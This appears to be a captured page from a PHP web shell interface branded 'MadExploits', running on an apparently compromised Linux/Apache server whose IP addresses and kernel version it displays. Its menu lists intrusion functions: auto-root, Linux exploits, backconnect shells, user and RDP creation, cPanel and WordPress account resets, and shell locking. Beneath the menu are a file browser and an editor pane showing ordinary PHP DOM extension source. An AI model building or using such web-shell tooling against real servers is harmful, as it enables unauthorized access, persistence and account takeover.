Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.136.236.39
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
php /
82 /
src /
ext /
dom /
[ HOME SHELL ]
Name
Size
Permission
Action
tests
[ DIR ]
drwxr-xr-x
CREDITS
52
B
-rw-r--r--
attr.c
5.18
KB
-rw-r--r--
cdatasection.c
2
KB
-rw-r--r--
characterdata.c
9.27
KB
-rw-r--r--
comment.c
2.02
KB
-rw-r--r--
config.m4
1.09
KB
-rw-r--r--
config.w32
995
B
-rw-r--r--
document.c
49.83
KB
-rw-r--r--
documentfragment.c
4.42
KB
-rw-r--r--
documenttype.c
5.15
KB
-rw-r--r--
dom_ce.h
2.47
KB
-rw-r--r--
dom_iterators.c
8.94
KB
-rw-r--r--
dom_properties.h
7.23
KB
-rw-r--r--
domexception.c
3.22
KB
-rw-r--r--
domexception.h
2.04
KB
-rw-r--r--
domimplementation.c
6.27
KB
-rw-r--r--
element.c
30.83
KB
-rw-r--r--
entity.c
3.73
KB
-rw-r--r--
entityreference.c
2.17
KB
-rw-r--r--
namednodemap.c
6.57
KB
-rw-r--r--
node.c
39.85
KB
-rw-r--r--
nodelist.c
4.82
KB
-rw-r--r--
notation.c
2.36
KB
-rw-r--r--
parentnode.c
9.21
KB
-rw-r--r--
php_dom.c
57.39
KB
-rw-r--r--
php_dom.h
5.84
KB
-rw-r--r--
php_dom.stub.php
17.93
KB
-rw-r--r--
php_dom_arginfo.h
86.78
KB
-rw-r--r--
processinginstruction.c
3.6
KB
-rw-r--r--
text.c
4.9
KB
-rw-r--r--
xml_common.h
3.14
KB
-rw-r--r--
xpath.c
13.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : documenttype.c
/* +----------------------------------------------------------------------+ | Copyright (c) The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | https://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Christian Stocker <chregu@php.net> | | Rob Richards <rrichards@php.net> | +----------------------------------------------------------------------+ */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "php.h" #if defined(HAVE_LIBXML) && defined(HAVE_DOM) #include "php_dom.h" /* {{{ name string readonly=yes URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1844763134 Since: */ int dom_documenttype_name_read(dom_object *obj, zval *retval) { xmlDtdPtr dtdptr = (xmlDtdPtr) dom_object_get_node(obj); if (dtdptr == NULL) { php_dom_throw_error(INVALID_STATE_ERR, 1); return FAILURE; } ZVAL_STRING(retval, dtdptr->name ? (char *) (dtdptr->name) : ""); return SUCCESS; } /* }}} */ /* {{{ entities DOMNamedNodeMap readonly=yes URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1788794630 Since: */ int dom_documenttype_entities_read(dom_object *obj, zval *retval) { xmlDtdPtr doctypep = (xmlDtdPtr) dom_object_get_node(obj); xmlHashTable *entityht; dom_object *intern; if (doctypep == NULL) { php_dom_throw_error(INVALID_STATE_ERR, 1); return FAILURE; } php_dom_create_iterator(retval, DOM_NAMEDNODEMAP); entityht = (xmlHashTable *) doctypep->entities; intern = Z_DOMOBJ_P(retval); dom_namednode_iter(obj, XML_ENTITY_NODE, intern, entityht, NULL, NULL); return SUCCESS; } /* }}} */ /* {{{ notations DOMNamedNodeMap readonly=yes URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-D46829EF Since: */ int dom_documenttype_notations_read(dom_object *obj, zval *retval) { xmlDtdPtr doctypep = (xmlDtdPtr) dom_object_get_node(obj); xmlHashTable *notationht; dom_object *intern; if (doctypep == NULL) { php_dom_throw_error(INVALID_STATE_ERR, 1); return FAILURE; } php_dom_create_iterator(retval, DOM_NAMEDNODEMAP); notationht = (xmlHashTable *) doctypep->notations; intern = Z_DOMOBJ_P(retval); dom_namednode_iter(obj, XML_NOTATION_NODE, intern, notationht, NULL, NULL); return SUCCESS; } /* }}} */ /* {{{ publicId string readonly=yes URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-Core-DocType-publicId Since: DOM Level 2 */ int dom_documenttype_public_id_read(dom_object *obj, zval *retval) { xmlDtdPtr dtdptr = (xmlDtdPtr) dom_object_get_node(obj); if (dtdptr == NULL) { php_dom_throw_error(INVALID_STATE_ERR, 1); return FAILURE; } if (dtdptr->ExternalID) { ZVAL_STRING(retval, (char *) (dtdptr->ExternalID)); } else { ZVAL_EMPTY_STRING(retval); } return SUCCESS; } /* }}} */ /* {{{ systemId string readonly=yes URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-Core-DocType-systemId Since: DOM Level 2 */ int dom_documenttype_system_id_read(dom_object *obj, zval *retval) { xmlDtdPtr dtdptr = (xmlDtdPtr) dom_object_get_node(obj); if (dtdptr == NULL) { php_dom_throw_error(INVALID_STATE_ERR, 1); return FAILURE; } if (dtdptr->SystemID) { ZVAL_STRING(retval, (char *) (dtdptr->SystemID)); } else { ZVAL_EMPTY_STRING(retval); } return SUCCESS; } /* }}} */ /* {{{ internalSubset string readonly=yes URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-Core-DocType-internalSubset Since: DOM Level 2 */ int dom_documenttype_internal_subset_read(dom_object *obj, zval *retval) { xmlDtdPtr dtdptr = (xmlDtdPtr) dom_object_get_node(obj); xmlDtdPtr intsubset; if (dtdptr == NULL) { php_dom_throw_error(INVALID_STATE_ERR, 1); return FAILURE; } if (dtdptr->doc != NULL && ((intsubset = xmlGetIntSubset(dtdptr->doc)) != NULL)) { smart_str ret_buf = {0}; xmlNodePtr cur = intsubset->children; while (cur != NULL) { xmlOutputBuffer *buff = xmlAllocOutputBuffer(NULL); if (buff != NULL) { xmlNodeDumpOutput (buff, NULL, cur, 0, 0, NULL); xmlOutputBufferFlush(buff); #ifdef LIBXML2_NEW_BUFFER smart_str_appendl(&ret_buf, (const char *) xmlOutputBufferGetContent(buff), xmlOutputBufferGetSize(buff)); #else smart_str_appendl(&ret_buf, (char *) buff->buffer->content, buff->buffer->use); #endif (void)xmlOutputBufferClose(buff); } cur = cur->next; } if (ret_buf.s) { smart_str_0(&ret_buf); ZVAL_NEW_STR(retval, ret_buf.s); return SUCCESS; } } ZVAL_NULL(retval); return SUCCESS; } /* }}} */ #endif
Close